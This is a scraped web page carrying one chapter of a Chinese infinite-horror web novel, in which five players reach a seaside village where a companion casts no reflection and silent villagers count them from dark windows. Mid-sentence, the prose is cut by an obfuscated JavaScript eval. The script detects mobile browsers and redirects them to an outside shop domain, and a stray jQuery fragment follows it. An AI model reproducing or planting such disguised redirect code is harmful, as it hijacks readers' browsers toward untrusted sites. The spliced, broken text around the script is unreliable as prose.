文趣网 > 其他小说 > 请您完成主线任务[无限] > 2. 箱岩村
    张睿这句话一出口,所有人几乎同时低头。

    下一秒,陈昊猛地爆了句粗口。

    “操——我身上怎么也有?!”

    他的声音明显发抖。

    直到这时他才发现,自己肩后不知何时竟多出了一个灰黑色背包。背带湿漉漉贴在衣服上,像早就已经背了很久。

    可问题是,他根本不记得自己带了包。

    陈昊头皮一阵发麻。

    这是他第二次进入怪谈,可从没人提过,玩家身上会莫名其妙多出东西。

    会不会从这一刻他们就被厉鬼盯上了,这会不会和死亡顺序有关?他听过别人讲过一个怪谈——一开局,背包里多出女人头发的玩家会先遭到女鬼的杀害。

    他吓得赶紧去看七尾,谁知七尾眉头微皱,从兜里摸出一张纸:“我这里多一个车票,是从娘娘庙到客运北站,看不清姓名。这两个地点不知道是哪里。”

    七尾很淡定:“你们俩呢?”

    孟晗摸兜,也有东西。

    瑶瑶神情紧绷,慢慢从衣服口袋里掏出一个塑料卡套:“我多了一个学生证,但其他信息看不清了……写的好像是西海职业技术学院……”

    孟晗也低头摸了摸口袋,里面有张折叠得整整齐齐的纸:“旅游攻略。”

    旅游攻略上的字也并不清晰,纸张受了潮,边缘已经发软,但可以看清楚三个大字:箱岩村。

    孟晗对着微弱的月光,努力辨析上面的字迹:“风景优美,出片绝佳,村长民宿电话44-***481*,其他的字看不清楚了。”

    他们每个人身上都多出了东西。

    一个人多会让人担心。

    一群人都多出来,也就分担风险了。

    这是什么隐喻吗?

    “先别自己吓自己。”七尾开口,“至少现在看来,大家都有。”

    “把手电打开吧。”

    “这种山路,摸黑走更危险。”

    张睿一听,几乎像是把烫手山芋一样将手电塞了过去。

    “给你!你拿着!”

    “我不要这东西!”

    七尾接过手电,掂了掂。

    啪嗒。

    光亮刺破黑暗。

    可那束光却像被夜色吞噬一样,只能勉强照出前方几米。

    更远的地方,仍旧浓黑一片。

    “跟紧我。”他说完,率先往前走。

    夜色漆黑,安安静静没有虫鸣鸟叫,远处海浪拍打岩石的声音依稀传来。张睿和陈昊几乎贴在七尾后背,瑶瑶抱着书包快步走,孟晗脚步加速。

    走了大概十分钟。前方忽然出现一道模糊的人影,那人拄着拐杖,背高高隆起,几乎弯成九十度,远远看去,像背了个巨大龟壳。

    他手里同样提着手电。

    刺目的白光猛地照过来。

    七尾反应极快,侧身避开。

    结果光束“刷”地一下落在张睿脸上。

    “啊——!”

    张睿被吓得惨叫。

    老人却像没听见一样:“怎么这么晚!客运车应该一个小时前就到达了,天黑以后山路不好走,要不是我来接你们,你们肯定得迷路。”

    老人眼球浑浊,皮肤粗糙,但说话中气十足。

    七尾倒像早就习惯这种场面,语气自然:“老人家,路不好走,实在不好意思。”

    “嘿呀,快点吧!”老人一杵拐杖,“我就知道你们四个会碰在一起,毕竟这地方,一天就一趟客运。”

    他说到这里,忽然停住。

    浑浊的眼睛缓缓扫过众人。

    脸上的皱纹一点点绷紧,突然问道:“不对,怎么多出来一个?”

    “什么?”陈昊发颤,艰难回头,什么多一个?

    人吗?

    他们怎么可能多出来一个?

    “我们不是一直五个人吗?”

    老人却没回答。

    只是死死盯着他们。

    孟晗忽然开口:“您原本接的是四个人?”

    老人明确说四个人,也就是他接到消息只有四个人来访,但突然变成五个人,他惊讶情有可原。

    孟晗环顾所有人。

    他们有五个,但村长以为是四个。

    多了一个?

    孟晗目光幽幽,歪着脑袋。

    瑶瑶忐忑观察着周围,倒吸一口凉气,刚开局就玩这么大吗?她又看向孟晗,这个新人比她想象的要镇定许多,瞳孔漆黑,不知道在想什么。但瑶瑶隐约从她身上嗅到了一丝不好惹的戾气。

    孟晗双手插兜。

    如果这是一场游戏的话,为何要这么设置?

    还是说,在场的怪谈玩家里,有一个不是人。

    是假装同伴的鬼?

    七尾蹙眉,打量着其他玩家。

    瑶瑶微微后退了一步。

    可能因为下过雨,山路不少地方坑坑洼洼还有水潭。

    看七尾和瑶瑶的反应,孟晗知道自己猜对了。

    怎么判断是不是鬼?

    月光之下,孟晗眯起眼睛看向每个人背后。

    瑶瑶、陈昊,有影子。

    七尾,有影子。

    张睿,正好站在一处截断小路的水洼前面,水洼延伸至黑暗的草丛中,无法判断有……

    等一下。

    不,他没有影子。

    月光惨白,斜斜照下来,七尾手中的手电筒也晃着光。按理说,人只要站在那里,就一定会在水面留下倒影。可那片积水却像一块冰冷漆黑的镜子,只映出了光,却映不出张睿。

    空荡荡的。

    像有什么东西,把“他”从水里抹掉了。

    张睿绝对有问题,孟晗可以断定这一点。

    而张睿本人显然毫无察觉,还在惊恐地往陈昊身边缩,脸色惨白,肩膀不断发抖,像是下一秒就会哭出来。

    可就在他踉跄侧身的一瞬间——

    水面里,忽然又多出了一道影子。

    出现了。

    孟晗眸光微凝。

    她不觉得这是错觉,毕竟她有自信,自己的判断绝对不会出错的。

    夜风从山路间吹过,孟晗没说话,只是低下头,往回走了两步。

    水面轻轻晃动,映出一层模糊的白光。

    然后。

    一个影子缓缓浮了上来。

    不是她。

    是张睿。

    水里的“张睿”正直勾勾盯着她。

    那张脸惨白浮肿,嘴角一点点裂开,越扯越大,几乎咧到了耳根后面,像是有人硬生生把皮肉撕开。牙齿森白,缝隙里却渗着发黑的污迹,仿佛被墨汁浸泡过。

    最诡异的是那双眼睛。

    昏黄、浑浊。

    像死了很多天后,被海水泡烂的鱼眼。

    它在笑。

    隔着一层薄薄的水,死死盯着孟晗。

    七尾发现孟晗低着头看向水洼,问道:“怎么了?”

    “张睿”凝视着孟晗,食指缓缓竖在嘴唇前。

    ——嘘。

    “他”做出了“噤声”的警告。

    孟晗脸色如常,不动声色:“没什么。”

    七尾已经朝这边走来。

    手电筒的光扫过水面。

    刹那间,那张扭曲的人脸消失了。

    水里只剩下孟晗一个人的倒影。

    七尾:“有事?”

    “没,看错了。”孟晗说。

    鬼。

    这个怪谈存在货真价实的鬼。

    啧,有点意思。

    这是她冒出的第一个想法。

    车祸、失忆、突然出现的乐土、地下通道里的红门……再到现在。像一条断裂已久的线,终于重新接上。既然命运把她送进来,那她就看看,这地方到底藏着什么东西。

    长拄着拐杖站在山路边,浑浊的眼睛慢慢扫过他们几人。

    那目光阴沉沉的。

    像在数人头。

    一遍。

    又一遍。

    半晌,他才咧开嘴,露出发黄的牙:“五个啊,五个就五个,家里还有地方,房间都给你们安排好了,赶紧跟上。”

    七尾问:“您是村长?”

    “我是箱岩村村长,姓林。村里唯一的民宿就是我家的,你们这些外地游客,平时也都住我那儿。”老人拖着嗓子应了一声。

    孟晗忽然想起刚才七尾拿出的车票。

    ——娘娘庙。

    她抬眸:“娘娘庙在哪?”

    村长脚步一顿,拐杖停在泥地里:“你们要去娘娘庙?”

    孟晗没回答,只是看着他。

    老人脸上的皱纹在月光下层层堆叠,半晌才慢吞吞开口:“那你们可走错地方了。娘娘庙不在这边。在海对面,五十多里地呢。你们坐的客运,不可能到箱岩村。”

    七尾神色微变。

    也就是说,他那张车票,目的地根本不是这里。

    孟晗眸色渐深。

    似乎每个人都有问题。

    村长熟悉路,走了十五分钟,众人终于看到了位于海边斜坡上的村庄。

    密密匝匝的房子如同一坨庞然大物,雾气缠绕其间,月光惨白地倾泻下来,却照不透那片浓稠的黑。海面更是黑得诡异,没有一丝波光,像一大片腐烂发臭的沥青,缓缓蠕动着。

    进入村庄后,脊背上的寒意越发明显。

    “我们到了。”村长声音沙哑低沉,像是从湿土深处一点点刨出来的,“这就是箱岩村。”

    有些木梁已经塌陷,窗框腐烂发黑,墙壁被海风侵蚀得坑坑洼洼,大片大片的青苔与海藻黏附其上,像尸体表面发霉的斑块。

    村庄里没有亮灯,就连人家也暗成一片。路径狭长逼仄拥挤,如同人类盘起来的脐带。

    “好黑啊。”陈昊忍不住低声开口。

    “村子里没有路灯。”村长说,“年轻人都搬走了,半个村子空着,也没人愿意花钱装这些东西。我们都睡觉早,也没什么夜间活动。”

    孟晗看了时间,现在是20:30,确实有点太早了。

    不远处,忽然亮起了一盏灯——一栋三层小楼立在坡道尽头,昏黄灯光从二楼窗户透出来,在大片黑暗中格外刺眼,像黑夜里突然睁开的一只眼。

    事出反常必有妖,如果大部分人家都亮着灯,光亮证明是安全的,但眼下,村子黑乎乎的,证明光明带来不祥,就算是新人,孟晗也明白这个道理。

    五人脚步开始迟疑。如果都是黑暗,那么证明黑暗是常态,光明可能会带来危险。那么,要不要去村长家住?如果他们住在这些看起来黑暗的、空无一人的房间,是不是会安全一些?

    多个地方也多一条后路。

    陈昊四处张望。

    瑶瑶也靠近了孟晗一点,声音很轻,微微弱弱:“姐,我好像觉得不太对劲。”

    一进入村子,瑶瑶浑身上下的鸡皮疙瘩都冒起来了。她从小就是个敏感的人,奶奶以前找过一个顶仙的婆子给她看命,说她阳气弱,容易撞东西。虽然这些年她没真正见过鬼,但总会碰上一些解释不了的事。比如,空无一人的寝室内梳子突然落地,或者自己的出租屋电视在半夜突然打开之类的事情。

    她靠着这种敏锐的直觉,硬生生在前几个怪谈里活了下来。而现在,这种危险感,已经强烈到了极点。

    瑶瑶下意识又往孟晗身边贴近了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17586850|205314||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一点。

    说实话,自己这个反应很奇怪。明明只是个新人,可孟晗身上的气场却异常稳定,只要靠近她,那种浑身发冷的恐惧感都会减弱许多。

    孟晗侧眸。

    瑶瑶忐忑:“姐,我觉得有什么东西在看着我们。”

    “嗯。”她也感受到了。

    一道道视线藏在黑暗里,冰冷、粘稠,缓慢扫过他们的身体,像庙里落满灰尘的神像。明明一动不动,却始终在注视着活人。

    孟晗笃定,他们没有在睡觉。

    这样的黑暗中,最适合藏人了。

    那些低矮逼仄的窗户后面,肯定正贴着一张张脸,在悄无声息地窥视他们这群外来者。像等猎物踏进陷阱的鬣狗,耐心、阴冷,又带着某种令人作呕的兴奋。

    猥琐。

    孟晗快走两步,一把从七尾手里夺过手电筒。

    啪!

    手电筒灯光倏然对准身旁的房屋窗户!

    “你——”

    啪!

    刺目的白光骤然亮起。

    光柱猛地扫向旁边那栋漆黑的民宅!

    村长脸色骤变,几乎是失声厉喝:“你做什么!”

    黑漆漆的玻璃后登时出现了三个人影。

    一男一女,中间抱着一个孩子,是一家三口。

    他们一动不动,隔着黑暗观察着他们,没有说话,没有动作,甚至连眼睛都没眨一下。瞳孔缩成黄豆大小,灰白的眼珠像泡在福尔马林里的死鱼眼。

    “卧槽!”

    陈昊头皮瞬间炸开,“真有人!”

    张睿更是吓得声音都劈了:“他们一直在看我们?!”

    没人回应。

    因为下一秒,孟晗已经转动手腕。

    手电筒的光从那扇窗户缓缓移开,扫向旁边另一栋房子。

    那里,也有人。

    再往前。

    还有人。

    一扇扇窗户后,全都站着黑影。

    有些屋子里甚至密密麻麻挤满了人,狭窄的窗框内只能塞下半张惨白的脸。他们肩膀贴着肩膀,额头压着额头,像一堆被塞进罐头里的雕塑,静静站在黑暗里。

    如同石膏般,毫无生气的注视着他们。

    好似匪夷所思的黑白恐怖漫画。

    七尾脸色也沉了下来,但还算镇定,转头看向村长:“没睡啊,村长。”

    村长眉头皱得死紧,眼神闪烁了一瞬,随后硬邦邦道:“没见过外面来的人而已,不用管他们。”

    说完,他头也不回领着众人往前走,不想多做解释。

    孟晗仍旧举着手电,隔着玻璃,与黑暗中的那些“村民”对视。

    ——吱呀。

    窗户年久失修,被吹开了一个小缝。

    不是人为推开的。

    因为孟晗看得很清楚,屋子里的人根本没动。

    可就在那缝隙出现的瞬间,一道细细的、稚嫩的声音,从里面飘了出来,就好像孩子贴在耳边数数。

    “五个。”

    “五个。”

    “五个五个。”

    什么五个?

    五个人吗?

    那窗后的小孩忽然咧开嘴,挥舞双手,笑得异常开心。屋子里的夫妻同时赶紧捂住了小孩的嘴。

    小孩仍然嘀嘀咕咕的笑,声音闷在他父母的掌心里,断断续续往外钻。

    “四个。”

    “四个四个。”

    “会是四个吗?”

    孟晗:“什么四个?”

    砰!

    窗户猛地关死。

    紧接着,布满霉斑的窗帘被“唰”地拉上。

    只有那句“四个”,还像根针一样扎在人耳朵里。

    四个。

    他们明明有五个人。

    那为什么最后会是四个?

    终于到达村长家,黄色的灯光如同回光返照的一点点明媚,看得人心慌。

    村长家很大,是三层小楼,小楼旁边的一户人家也很有钱,甚至从建筑外观看比村长家还要阔绰,又是雕龙又是画海浪,只不过那户人家也黑着灯,不知道是不是也在窥探他们。

    这栋房子是专门做民宿的盖的,自己家住在小楼对面的合院内。

    屋内很暖和。

    暖黄灯光照着客厅,木质沙发铺着柔软坐垫,桌上摆着贝壳和海螺做成的装饰品。只是墙角爬着些细细密密的黑霉,在白墙上蔓延,像一片干涸后的血管。

    村长说:“我就不收你们押金了,不过之前我以为四个人,就收拾出来了三间屋子。两个女娃娃一起的,你们两个男人一人一间。或者你们自己分配的,还是三间。”

    说完,钥匙摆在桌子上:“有厨房,厨房锅里是给你们热的饼和熏鱼,可以尝尝。时候不早了,有事可以去对面找我,或者给我打电话。屋子都是我老婆刚换的床单,有24小时热水,我们这算环境很好的民宿了。”

    “好了,我也该回去了,我还得照顾我的小孙子。”村长虽然语气听起来不着急,但脚步已经往外挪动了。

    显然是半点都不想留下。

    “等一下,”七尾叫住他,“我们初来乍到,人生地不熟,这村子里有没有禁忌,我们入乡随俗,需要遵守的。”

    村长脚步一顿,矢口否认:“没有。我们是旅游景点,又不是迂腐的村子。虽然路难走些,但又不是穷乡僻壤。你们愿意的话,也可以去海边看看,今晚月色不错。这栋楼也可以看见海,这样的景色可是很难得。”

    他没再多说什么,脚步飞快离开了。

    村长前脚刚走。

    啪。

    孟晗把灯关了。

    呼,这下感觉好多了。